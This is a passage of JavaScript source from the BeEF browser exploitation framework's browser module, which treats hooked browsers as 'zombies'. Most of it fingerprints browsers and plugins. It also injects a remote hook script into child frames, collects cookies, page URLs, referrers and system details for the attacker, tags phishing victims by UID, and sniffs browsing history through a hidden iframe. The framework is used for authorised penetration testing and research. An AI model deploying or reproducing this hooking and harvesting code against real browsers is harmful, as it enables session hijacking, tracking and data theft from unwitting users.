4728 ; // Chrome 56 for iOS
4729 if (this.isC57()) {
4730 return '57'
4731 }
4732 ;// Chrome 57
4733 if (this.isC57iOS()) {
4734 return '57'
4735 }
4736 ; // Chrome 57 for iOS
4737 if (this.isC58()) {
4738 return '58'
4739 }
4740 ;// Chrome 58
4741 if (this.isC58iOS()) {
4742 return '58'
4743 }
4744 ; // Chrome 58 for iOS
4745
4746
4747 if (this.isFF2()) {
4748 return '2'
4749 }
4750 ; // Firefox 2
4751 if (this.isFF3()) {
4752 return '3'
4753 }
4754 ; // Firefox 3
4755 if (this.isFF3_5()) {
4756 return '3.5'
4757 }
4758 ; // Firefox 3.5
4759 if (this.isFF3_6()) {
4760 return '3.6'
4761 }
4762 ; // Firefox 3.6
4763 if (this.isFF4()) {
4764 return '4'
4765 }
4766 ; // Firefox 4
4767 if (this.isFF5()) {
4768 return '5'
4769 }
4770 ; // Firefox 5
4771 if (this.isFF6()) {
4772 return '6'
4773 }
4774 ; // Firefox 6
4775 if (this.isFF7()) {
4776 return '7'
4777 }
4778 ; // Firefox 7
4779 if (this.isFF8()) {
4780 return '8'
4781 }
4782 ; // Firefox 8
4783 if (this.isFF9()) {
4784 return '9'
4785 }
4786 ; // Firefox 9
4787 if (this.isFF10()) {
4788 return '10'
4789 }
4790 ; // Firefox 10
4791 if (this.isFF11()) {
4792 return '11'
4793 }
4794 ; // Firefox 11
4795 if (this.isFF12()) {
4796 return '12'
4797 }
4798 ; // Firefox 12
4799 if (this.isFF13()) {
4800 return '13'
4801 }
4802 ; // Firefox 13
4803 if (this.isFF14()) {
4804 return '14'
4805 }
4806 ; // Firefox 14
4807 if (this.isFF15()) {
4808 return '15'
4809 }
4810 ; // Firefox 15
4811 if (this.isFF16()) {
4812 return '16'
4813 }
4814 ; // Firefox 16
4815 if (this.isFF17()) {
4816 return '17'
4817 }
4818 ; // Firefox 17
4819 if (this.isFF18()) {
4820 return '18'
4821 }
4822 ; // Firefox 18
4823 if (this.isFF19()) {
4824 return '19'
4825 }
4826 ; // Firefox 19
4827 if (this.isFF20()) {
4828 return '20'
4829 }
4830 ; // Firefox 20
4831 if (this.isFF21()) {
4832 return '21'
4833 }
4834 ; // Firefox 21
4835 if (this.isFF22()) {
4836 return '22'
4837 }
4838 ; // Firefox 22
4839 if (this.isFF23()) {
4840 return '23'
4841 }
4842 ; // Firefox 23
4843 if (this.isFF24()) {
4844 return '24'
4845 }
4846 ; // Firefox 24
4847 if (this.isFF25()) {
4848 return '25'
4849 }
4850 ; // Firefox 25
4851 if (this.isFF26()) {
4852 return '26'
4853 }
4854 ; // Firefox 26
4855 if (this.isFF27()) {
4856 return '27'
4857 }
4858 ; // Firefox 27
4859 if (this.isFF28()) {
4860 return '28'
4861 }
4862 ; // Firefox 28
4863 if (this.isFF29()) {
4864 return '29'
4865 }
4866 ; // Firefox 29
4867 if (this.isFF30()) {
4868 return '30'
4869 }
4870 ; // Firefox 30
4871 if (this.isFF31()) {
4872 return '31'
4873 }
4874 ; // Firefox 31
4875 if (this.isFF32()) {
4876 return '32'
4877 }
4878 ; // Firefox 32
4879 if (this.isFF33()) {
4880 return '33'
4881 }
4882 ; // Firefox 33
4883 if (this.isFF34()) {
4884 return '34'
4885 }
4886 ; // Firefox 34
4887 if (this.isFF35()) {
4888 return '35'
4889 }
4890 ; // Firefox 35
4891 if (this.isFF36()) {
4892 return '36'
4893 }
4894 ; // Firefox 36
4895 if (this.isFF37()) {
4896 return '37'
4897 }
4898 ; // Firefox 37
4899 if (this.isFF38()) {
4900 return '38'
4901 }
4902 ; // Firefox 38
4903 if (this.isFF39()) {
4904 return '39'
4905 }
4906 ; // Firefox 39
4907 if (this.isFF40()) {
4908 return '40'
4909 }
4910 ; // Firefox 40
4911 if (this.isFF41()) {
4912 return '41'
4913 }
4914 ; // Firefox 41
4915 if (this.isFF42()) {
4916 return '42'
4917 }
4918 ; // Firefox 42
4919 if (this.isFF43()) {
4920 return '43'
4921 }
4922 ; // Firefox 43
4923 if (this.isFF44()) {
4924 return '44'
4925 }
4926 ; // Firefox 44
4927 if (this.isFF45()) {
4928 return '45'
4929 }
4930 ; // Firefox 45
4931 if (this.isFF46()) {
4932 return '46'
4933 }
4934 ; // Firefox 46
4935 if (this.isFF47()) {
4936 return '47'
4937 }
4938 ; // Firefox 47
4939 if (this.isFF48()) {
4940 return '48'
4941 }
4942 ; // Firefox 48
4943 if (this.isFF49()) {
4944 return '49'
4945 }
4946 ; // Firefox 49
4947 if (this.isFF50()) {
4948 return '50'
4949 }
4950 ; // Firefox 50
4951 if (this.isFF51()) {
4952 return '51'
4953 }
4954 ; // Firefox 51
4955 if (this.isFF52()) {
4956 return '52'
4957 }
4958 ; // Firefox 52
4959 if (this.isFF53()) {
4960 return '53'
4961 }
4962 ; // Firefox 53
4963
4964 if (this.isIE6()) {
4965 return '6'
4966 }
4967 ; // Internet Explorer 6
4968 if (this.isIE7()) {
4969 return '7'
4970 }
4971 ; // Internet Explorer 7
4972 if (this.isIE8()) {
4973 return '8'
4974 }
4975 ; // Internet Explorer 8
4976 if (this.isIE9()) {
4977 return '9'
4978 }
4979 ; // Internet Explorer 9
4980 if (this.isIE10()) {
4981 return '10'
4982 }
4983 ; // Internet Explorer 10
4984 if (this.isIE11()) {
4985 return '11'
4986 }
4987 ; // Internet Explorer 11
4988
4989 if (this.isS4()) {
4990 return '4'
4991 }
4992 ; // Safari 4
4993 if (this.isS5()) {
4994 return '5'
4995 }
4996 ; // Safari 5
4997 if (this.isS6()) {
4998 return '6'
4999 }
5000 ; // Safari 6
5001
5002 if (this.isS7()) {
5003 return '7'
5004 }
5005 ; // Safari 7
5006 if (this.isS8()) {
5007 return '8'
5008 }
5009 ; // Safari 8
5010
5011 if (this.isO9_52()) {
5012 return '9.5'
5013 }
5014 ; // Opera 9.5x
5015 if (this.isO9_60()) {
5016 return '9.6'
5017 }
5018 ; // Opera 9.6
5019 if (this.isO10()) {
5020 return '10'
5021 }
5022 ; // Opera 10.xx
5023 if (this.isO11()) {
5024 return '11'
5025 }
5026 ; // Opera 11.xx
5027 if (this.isO12()) {
5028 return '12'
5029 }
5030 ; // Opera 12.xx
5031
5032 return 'UNKNOWN'; // Unknown UA
5033 },
5034
5035 /**
5036 * Returns the type of user agent by hooked browser.
5037 * @return: {String} User agent software.
5038 *
5039 * @example: beef.browser.getBrowserName()
5040 */
5041 getBrowserName: function () {
5042
5043 if (this.isC()) {
5044 return 'C'
5045 }
5046 ; // Chrome any version
5047 if (this.isFF()) {
5048 return 'FF'
5049 }
5050 ; // Firefox any version
5051 if (this.isIE()) {
5052 return 'IE'
5053 }
5054 ; // Internet Explorer any version
5055 if (this.isO()) {
5056 return 'O'
5057 }
5058 ; // Opera any version
5059 if (this.isS()) {
5060 return 'S'
5061 }
5062 ; // Safari any version
5063 if (this.isA()) {
5064 return 'A'
5065 }
5066 ; // Avant any version
5067 if (this.isMidori()) {
5068 return 'MI'
5069 }
5070 ; // Midori any version
5071 if (this.isOdyssey()) {
5072 return 'OD'
5073 }
5074 ; // Odyssey any version
5075 if (this.isBrave()) {
5076 return 'BR'
5077 }
5078 ; // Brave any version
5079 return 'UNKNOWN'; // Unknown UA
5080 },
5081
5082 /**
5083 * Hooks all child frames in the current window
5084 * Restricted by same-origin policy
5085 */
5086 hookChildFrames: function () {
5087
5088 // create script object
5089 var script = document.createElement('script');
5090 script.type = 'text/javascript';
5091 script.src = 'http://127.0.0.1:3000/hook.js';
5092
5093 // loop through child frames
5094 for (var i = 0; i < self.frames.length; i++) {
5095 try {
5096 // append hook script
5097 self.frames[i].document.body.appendChild(script);
5098 beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
5099 } catch (e) {
5100 // warn on cross-origin
5101 beef.debug("Hooking child frame failed: " + e.message);
5102 }
5103 }
5104 },
5105
5106 /**
5107 * Checks if the zombie has flash installed and enabled.
5108 * @return: {Boolean} true or false.
5109 *
5110 * @example: if(beef.browser.hasFlash()) { ... }
5111 */
5112 hasFlash: function () {
5113 if (!this.type().IE) {
5114 return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
5115 } else {
5116 flash_versions = 12;
5117 flash_installed = false;
5118
5119
5120 if (this.type().IE11) {
5121 flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
5122 } else {
5123 if (window.ActiveXObject != null) {
5124 for (x = 2; x <= flash_versions; x++) {
5125 try {
5126 Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
5127 if (Flash) {
5128 flash_installed = true;
5129 }
5130 } catch (e) {
5131 beef.debug("Creating Flash ActiveX object failed: " + e.message);
5132 }
5133 }
5134 }
5135 }
5136 return flash_installed;
5137 }
5138 },
5139
5140 /**
5141 * Checks if the zombie has the QuickTime plugin installed.
5142 * @return: {Boolean} true or false.
5143 *
5144 * @example: if ( beef.browser.hasQuickTime() ) { ... }
5145 */
5146 hasQuickTime: function () {
5147
5148 var quicktime = false;
5149
5150 if (this.capabilities()["navigator.plugins"]) {
5151
5152 for (i = 0; i < navigator.plugins.length; i++) {
5153
5154 if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
5155 quicktime = true;
5156 }
5157
5158 }
5159
5160 // Has navigator.plugins
5161 } else {
5162
5163 try {
5164
5165 var qt_test = new ActiveXObject('QuickTime.QuickTime');
5166
5167 } catch (e) {
5168 beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
5169 }
5170
5171 if (qt_test) {
5172 quicktime = true;
5173 }
5174
5175 }
5176
5177 return quicktime;
5178
5179 },
5180
5181 /**
5182 * Checks if the zombie has the RealPlayer plugin installed.
5183 * @return: {Boolean} true or false.
5184 *
5185 * @example: if ( beef.browser.hasRealPlayer() ) { ... }
5186 */
5187 hasRealPlayer: function () {
5188
5189 var realplayer = false;
5190
5191 if (this.capabilities()["navigator.plugins"]) {
5192
5193
5194 for (i = 0; i < navigator.plugins.length; i++) {
5195
5196 if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
5197 realplayer = true;
5198 }
5199
5200 }
5201
5202 // has navigator.plugins
5203 } else {
5204
5205 var definedControls = [
5206 'RealPlayer',
5207 'rmocx.RealPlayer G2 Control',
5208 'rmocx.RealPlayer G2 Control.1',
5209 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
5210 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
5211 ];
5212
5213 for (var i = 0; i < definedControls.length; i++) {
5214
5215 try {
5216 var rp_test = new ActiveXObject(definedControls[i]);
5217 } catch (e) {
5218 beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
5219 }
5220
5221 if (rp_test) {
5222 realplayer = true;
5223
5224 }
5225 }
5226 }
5227
5228 return realplayer;
5229
5230 },
5231
5232 /**
5233 * Checks if the zombie has the Windows Media Player plugin installed.
5234 * @return: {Boolean} true or false.
5235 *
5236 * @example: if ( beef.browser.hasWMP() ) { ... }
5237 */
5238 hasWMP: function () {
5239
5240 var wmp = false;
5241
5242 if (this.capabilities()["navigator.plugins"]) {
5243
5244
5245 for (i = 0; i < navigator.plugins.length; i++) {
5246
5247 if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
5248 wmp = true;
5249 }
5250
5251 }
5252
5253 // Has navigator.plugins
5254 } else {
5255
5256 try {
5257
5258 var wmp_test = new ActiveXObject('WMPlayer.OCX');
5259
5260 } catch (e) {
5261 beef.debug("Creating WMP ActiveX object failed: " + e.message);
5262 }
5263
5264 if (wmp_test) {
5265 wmp = true;
5266 }
5267
5268 }
5269
5270 return wmp;
5271
5272 },
5273
5274 /**
5275 * Checks if VLC is installed
5276 * @return: {Boolean} true or false
5277 **/
5278 hasVLC: function () {
5279 var vlc = false;
5280 if (!this.type().IE) {
5281 for (i = 0; i < navigator.plugins.length; i++) {
5282 if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
5283 vlc = true;
5284 }
5285 }
5286 } else {
5287 try {
5288 control = new ActiveXObject("VideoLAN.VLCPlugin.2");
5289 vlc = true;
5290 } catch (e) {
5291 beef.debug("Creating VLC ActiveX object failed: " + e.message);
5292 }
5293 }
5294 return vlc;
5295 },
5296
5297 /**
5298 * Checks if the zombie has Java enabled.
5299 * @return: {Boolean} true or false.
5300 *
5301 * @example: if(beef.browser.javaEnabled()) { ... }
5302 */
5303 javaEnabled: function () {
5304
5305 return navigator.javaEnabled();
5306
5307 },
5308
5309 /**
5310 * Checks if the Phonegap API is available from the hooked origin.
5311 * @return: {Boolean} true or false.
5312 *
5313 * @example: if(beef.browser.hasPhonegap()) { ... }
5314 */
5315 hasPhonegap: function () {
5316 var result = false;
5317
5318 try {
5319 if (!!device.phonegap || !!device.cordova) result = true; else result = false;
5320 }
5321 catch (e) {
5322 result = false;
5323 }
5324 return result;
5325 },
5326
5327 /**
5328 * Checks if the browser supports CORS
5329 * @return: {Boolean} true or false.
5330 *
5331 * @example: if(beef.browser.hasCors()) { ... }
5332 */
5333 hasCors: function () {
5334 if ('withCredentials' in new XMLHttpRequest())
5335 return true;
5336 else if (typeof XDomainRequest !== "undefined")
5337 return true;
5338 else
5339 return false;
5340 },
5341
5342 /**
5343 * Checks if the zombie has Java installed and enabled.
5344 * @return: {Boolean} true or false.
5345 *
5346 * @example: if(beef.browser.hasJava()) { ... }
5347 */
5348 hasJava: function () {
5349 if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
5350 return true;
5351 } else {
5352 return false;
5353 }
5354 },
5355
5356 /**
5357 * Checks if the zombie has VBScript enabled.
5358 * @return: {Boolean} true or false.
5359 *
5360 * @example: if(beef.browser.hasVBScript()) { ... }
5361 */
5362 hasVBScript: function () {
5363 if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
5364 return true;
5365 } else {
5366 return false;
5367 }
5368 },
5369
5370 /**
5371 * Returns the list of plugins installed in the browser.
5372 */
5373 getPlugins: function () {
5374
5375 var results;
5376 Array.prototype.unique = function () {
5377 var o = {}, i, l = this.length, r = [];
5378 for (i = 0; i < l; i += 1) o[this[i]] = this[i];
5379 for (i in o) r.push(o[i]);
5380 return r;
5381 };
5382
5383 // Things lacking navigator.plugins
5384 if (!this.capabilities()["navigator.plugins"]) this.getPluginsIE();
5385
5386 // All other browsers that support navigator.plugins
5387 else if (navigator.plugins && navigator.plugins.length > 0) {
5388 results = new Array();
5389 for (var i = 0; i < navigator.plugins.length; i++) {
5390
5391 // Firefox returns exact plugin versions
5392 if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
5393
5394 // Webkit and Presto (Opera)
5395 // Don't support the version attribute
5396 // Sometimes store the version in description (Real, Adobe)
5397 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
5398 }
5399 results = results.unique().toString();
5400
5401 // All browsers that don't support navigator.plugins
5402 } else {
5403 results = new Array();
5404 //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
5405 // On linux sistem the "version" slot is empty so I'll attach "description" after version
5406 var plugins = {
5407
5408 'AdobeAcrobat': {
5409 'control': 'Adobe Acrobat',
5410 'return': function (control) {
5411 try {
5412 version = navigator.plugins["Adobe Acrobat"]["description"];
5413 return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
5414
5415 }
5416 catch (e) {
5417 }
5418
5419
5420 }},
5421 'Flash': {
5422 'control': 'Shockwave Flash',
5423 'return': function (control) {
5424 try {
5425 version = navigator.plugins["Shockwave Flash"]["description"];
5426 return 'Flash Player Version ' + version; //+ " description "+ filename;
5427 }
5428
5429 catch (e) {
5430 }
5431 }},
5432 'Google_Talk_Plugin_Accelerator': {
5433 'control': 'Google Talk Plugin Video Accelerator',
5434 'return': function (control) {
5435
5436 try {
5437 version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
5438 return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
5439 }
5440 catch (e) {
5441 }
5442 }},
5443 'Google_Talk_Plugin': {
5444 'control': 'Google Talk Plugin',
5445 'return': function (control) {
5446 try {
5447 version = navigator.plugins['Google Talk Plugin']["description"];
5448 return 'Google Talk Plugin Version ' + version;// " description "+ filename;
5449 }
5450 catch (e) {
5451 }
5452 }},
5453 'Facebook_Video_Calling_Plugin': {
5454 'control': 'Facebook Video Calling Plugin',
5455 'return': function (control) {
5456 try {
5457 version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
5458 return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
5459 }
5460 catch (e) {
5461 }
5462 }},
5463 'Google_Update': {
5464 'control': 'Google Update',
5465 'return': function (control) {
5466 try {
5467 version = navigator.plugins["Google Update"]["description"];
5468 return 'Google Update Version ' + version//+ " description "+ filename;
5469 }
5470 catch (e) {
5471 }
5472 }},
5473 'Windows_Activation_Technologies': {
5474 'control': 'Windows Activation Technologies',
5475 'return': function (control) {
5476 try {
5477 version = navigator.plugins["Windows Activation Technologies"]["description"];
5478 return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
5479 }
5480 catch (e) {
5481 }
5482
5483 }},
5484 'VLC_Web_Plugin': {
5485 'control': 'VLC Web Plugin',
5486 'return': function (control) {
5487 try {
5488 version = navigator.plugins["VLC Web Plugin"]["description"];
5489 return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
5490 }
5491 catch (e) {
5492 }
5493 }},
5494 'Google_Earth_Plugin': {
5495 'control': 'Google Earth Plugin',
5496
5497 'return': function (control) {
5498 try {
5499 version = navigator.plugins['Google Earth Plugin']["description"];
5500 return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
5501 }
5502 catch (e) {
5503 }
5504 }},
5505 'FoxitReader_Plugin': {
5506 'control': 'FoxitReader Plugin',
5507 'return': function (control) {
5508 try {
5509 version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
5510 return 'FoxitReader Plugin Version ' + version;
5511 } catch (e) {
5512 }
5513 }}
5514 };
5515
5516 var c = 0;
5517 for (var i in plugins) {
5518 //each element od plugins
5519 var control = plugins[i]['control'];
5520 try {
5521 var version = plugins[i]['return'](control);
5522 if (version) {
5523 results[c] = version;
5524 c = c + 1;
5525 }
5526 }
5527 catch (e) {
5528 }
5529
5530 }
5531 }
5532 // Return results
5533 return results;
5534 },
5535
5536 /**
5537 * Returns a list of plugins detected by IE. This is a hack because IE doesn't
5538 * support navigator.plugins
5539 */
5540 getPluginsIE: function () {
5541 var results = '';
5542 var plugins = {'AdobePDF6': {
5543 'control': 'PDF.PdfCtrl',
5544 'return': function (control) {
5545 version = control.getVersions().split(',');
5546 version = version[0].split('=');
5547 return 'Acrobat Reader v' + parseFloat(version[1]);
5548 }},
5549 'AdobePDF7': {
5550 'control': 'AcroPDF.PDF',
5551 'return': function (control) {
5552 version = control.getVersions().split(',');
5553 version = version[0].split('=');
5554 return 'Acrobat Reader v' + parseFloat(version[1]);
5555 }},
5556 'Flash': {
5557 'control': 'ShockwaveFlash.ShockwaveFlash',
5558 'return': function (control) {
5559 version = control.getVariable('$version').substring(4);
5560 return 'Flash Player v' + version.replace(/,/g, ".");
5561 }},
5562 'Quicktime': {
5563 'control': 'QuickTime.QuickTime',
5564 'return': function (control) {
5565 return 'QuickTime Player';
5566 }},
5567 'RealPlayer': {
5568 'control': 'RealPlayer',
5569 'return': function (control) {
5570 version = control.getVersionInfo();
5571 return 'RealPlayer v' + parseFloat(version);
5572 }},
5573 'Shockwave': {
5574 'control': 'SWCtl.SWCtl',
5575 'return': function (control) {
5576 version = control.ShockwaveVersion('').split('r');
5577 return 'Shockwave v' + parseFloat(version[0]);
5578 }},
5579 'WindowsMediaPlayer': {
5580 'control': 'WMPlayer.OCX',
5581 'return': function (control) {
5582 return 'Windows Media Player v' + parseFloat(control.versionInfo);
5583 }},
5584 'FoxitReaderPlugin': {
5585 'control': 'FoxitReader.FoxitReaderCtl.1',
5586 'return': function (control) {
5587 return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
5588 }}
5589 };
5590 if (window.ActiveXObject) {
5591 var j = 0;
5592 for (var i in plugins) {
5593 var control = null;
5594 var version = null;
5595 try {
5596 control = new ActiveXObject(plugins[i]['control']);
5597 } catch (e) {
5598 }
5599 if (control) {
5600 if (j != 0)
5601 results += ', ';
5602 results += plugins[i]['return'](control);
5603 j++;
5604 }
5605 }
5606 }
5607 return results;
5608 },
5609
5610 /**
5611 * Returns zombie screen size and color depth.
5612 */
5613 getScreenSize: function () {
5614 return {
5615 width: window.screen.width,
5616 height: window.screen.height,
5617 colordepth: window.screen.colorDepth
5618 }
5619 },
5620
5621 /**
5622 * Returns zombie browser window size.
5623 * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
5624 */
5625 getWindowSize: function () {
5626 var myWidth = 0, myHeight = 0;
5627 if (typeof( window.innerWidth ) == 'number') {
5628 // Non-IE
5629 myWidth = window.innerWidth;
5630 myHeight = window.innerHeight;
5631 } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
5632 // IE 6+ in 'standards compliant mode'
5633 myWidth = document.documentElement.clientWidth;
5634 myHeight = document.documentElement.clientHeight;
5635 } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
5636 // IE 4 compatible
5637 myWidth = document.body.clientWidth;
5638 myHeight = document.body.clientHeight;
5639 }
5640 return {
5641 width: myWidth,
5642 height: myHeight
5643 }
5644 },
5645
5646 /**
5647 * Construct hash from browser details. This function is used to grab the browser details during the hooking process
5648 */
5649 getDetails: function () {
5650 var details = new Array();
5651
5652 var browser_name = beef.browser.getBrowserName();
5653 var browser_version = beef.browser.getBrowserVersion();
5654 var browser_reported_name = beef.browser.getBrowserReportedName();
5655 var browser_language = beef.browser.getBrowserLanguage();
5656 var page_title = (document.title) ? document.title : "Unknown";
5657 var page_uri = (document.location.href) ? document.location.href : "Unknown";
5658 var page_referrer = (document.referrer) ? document.referrer : "Unknown";
5659 var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
5660 switch (document.location.protocol) {
5661 case "http:":
5662 var default_port = "80";
5663 break;
5664 case "https:":
5665 var default_port = "443";
5666 break
5667 default:
5668 var default_port = "";
5669 }
5670 var hostport = (document.location.port) ? document.location.port : default_port;
5671 var browser_plugins = beef.browser.getPlugins();
5672 var date_stamp = new Date().toString();
5673 var os_name = beef.os.getName();
5674 var os_version = beef.os.getVersion();
5675 var default_browser = beef.os.getDefaultBrowser();
5676 var hw_name = beef.hardware.getName();
5677 var cpu_type = beef.hardware.cpuType();
5678 var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
5679 var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
5680 var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
5681 if (value == true) return value; else if (value == null) return; else if (typeof value == 'object') return value; else return;
5682 });
5683 var screen_size = beef.browser.getScreenSize();
5684 var window_size = beef.browser.getWindowSize();
5685 var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
5686 var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
5687 var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
5688 var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
5689 var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
5690 var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
5691 var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
5692 var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
5693 var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
5694 var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
5695 var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
5696 var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
5697 try {
5698 var cookies = document.cookie;
5699 /* Never stop the madness dear C.
5700 * var veglol = beef.browser.cookie.veganLol();
5701 */
5702 if (cookies) details['Cookies'] = cookies;
5703 } catch (e) {
5704 details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
5705 }
5706
5707 if (browser_name) details['BrowserName'] = browser_name;
5708 if (browser_version) details['BrowserVersion'] = browser_version;
5709 if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
5710 if (browser_language) details['BrowserLanguage'] = browser_language;
5711 if (page_title) details['PageTitle'] = page_title;
5712 if (page_uri) details['PageURI'] = page_uri;
5713 if (page_referrer) details['PageReferrer'] = page_referrer;
5714 if (hostname) details['HostName'] = hostname;
5715 if (hostport) details['HostPort'] = hostport;
5716 if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
5717 if (os_name) details['OsName'] = os_name;
5718 if (os_version) details['OsVersion'] = os_version;
5719 if (default_browser) details['DefaultBrowser'] = default_browser;
5720 if (hw_name) details['Hardware'] = hw_name;
5721 if (cpu_type) details['CPU'] = cpu_type;
5722 if (touch_enabled) details['TouchEnabled'] = touch_enabled;
5723 if (date_stamp) details['DateStamp'] = date_stamp;
5724 if (browser_platform) details['BrowserPlatform'] = browser_platform;
5725 if (browser_type) details['BrowserType'] = browser_type;
5726 if (screen_size) details['ScreenSize'] = screen_size;
5727 if (window_size) details['WindowSize'] = window_size;
5728 if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
5729 if (has_flash) details['HasFlash'] = has_flash;
5730 if (has_phonegap) details['HasPhonegap'] = has_phonegap;
5731 if (has_web_socket) details['HasWebSocket'] = has_web_socket;
5732 if (has_web_worker) details['HasWebWorker'] = has_web_worker;
5733 if (has_web_gl) details['HasWebGL'] = has_web_gl;
5734 if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
5735 if (has_webrtc) details['HasWebRTC'] = has_webrtc;
5736 if (has_activex) details['HasActiveX'] = has_activex;
5737 if (has_quicktime) details['HasQuickTime'] = has_quicktime;
5738 if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
5739 if (has_wmp) details['HasWMP'] = has_wmp;
5740
5741 var pf_integration = "";
5742 if (pf_integration) {
5743 var pf_param = "uid";
5744 var pf_victim_uid = "";
5745 var location_search = window.location.search.substring(1);
5746 var params = location_search.split('&');
5747 for (var i = 0; i < params.length; i++) {
5748 var param_entry = params[i].split('=');
5749 if (param_entry[0] == pf_param) {
5750 pf_victim_uid = param_entry[1];
5751 details['PhishingFrenzyUID'] = pf_victim_uid;
5752 break;
5753 }
5754 }
5755 } else {
5756 details['PhishingFrenzyUID'] = "N/A";
5757 }
5758
5759 return details;
5760 },
5761
5762 /**
5763 * Returns boolean value depending on whether the browser supports ActiveX
5764 */
5765 hasActiveX: function () {
5766 return !!window.ActiveXObject;
5767 },
5768
5769 /**
5770 * Returns boolean value depending on whether the browser supports WebRTC
5771 */
5772 hasWebRTC: function () {
5773 return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
5774 },
5775
5776 /**
5777 * Returns boolean value depending on whether the browser supports Silverlight
5778 */
5779 hasSilverlight: function () {
5780 var result = false;
5781
5782 try {
5783 if (beef.browser.isIE()) {
5784 var slControl = new ActiveXObject('AgControl.AgControl');
5785 result = true;
5786 } else if (navigator.plugins["Silverlight Plug-In"]) {
5787 result = true;
5788 }
5789 } catch (e) {
5790 result = false;
5791 }
5792
5793 return result;
5794 },
5795
5796 /**
5797 * Returns array of results, whether or not the target zombie has visited the specified URL
5798 */
5799 hasVisited: function (urls) {
5800 var results = new Array();
5801 var iframe = beef.dom.createInvisibleIframe();
5802 var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
5803 ifdoc.open();
5804 ifdoc.write('<style>a:visited{width:0px !important;}</style>');
5805 ifdoc.close();
5806 urls = urls.split("\n");
5807 var count = 0;
5808 for (var i in urls) {
5809 var u = urls[i];
5810 if (u != "" || u != null) {
5811 var success = false;
5812 var a = ifdoc.createElement('a');
5813 a.href = u;
5814 ifdoc.body.appendChild(a);
5815 var width = null;
5816 (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
5817 if (width == '0px') {
5818 success = true;
5819 }
5820 results.push({'url': u, 'visited': success});
5821 count++;
5822 }
5823 }
5824 beef.dom.removeElement(iframe);
5825 if (results.length == 0) {
5826 return false;
5827 }
5828 return results;
5829 },
5830
5831 /**
5832 * Checks if the zombie has Web Sockets enabled.
5833 * @return: {Boolean} true or false.
5834 * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
5835 * */
5836 hasWebSocket: function () {
5837 return !!window.WebSocket || !!window.MozWebSocket;
5838 },
5839
5840 /**
5841 * Checks if the zombie has Web Workers enabled.
5842 * @return: {Boolean} true or false.
5843 * */
5844 hasWebWorker: function () {
5845 return (typeof(Worker) !== "undefined");
5846 },
5847
5848 /**
5849 * Checks if the zombie has WebGL enabled.
5850 * @return: {Boolean} true or false.
5851 *
5852 * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
5853 * */
5854 hasWebGL: function () {
5855 try {
5856 var canvas = document.createElement("canvas");
5857 var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
5858 return !!(gl && gl instanceof WebGLRenderingContext);
5859 } catch(e) {
5860 return false;
5861 }
5862 },
5863
5864 /**
5865 * Checks if the zombie has Google Gears installed.
5866 * @return: {Boolean} true or false.
5867 *
5868 * @from: https://code.google.com/apis/gears/gears_init.js
5869 * */
5870 hasGoogleGears: function () {
5871
5872 var ggfactory = null;
5873
5874 // Chrome
5875 if (window.google && google.gears) return true;
5876
5877 // Firefox
5878 if (typeof GearsFactory != 'undefined') {
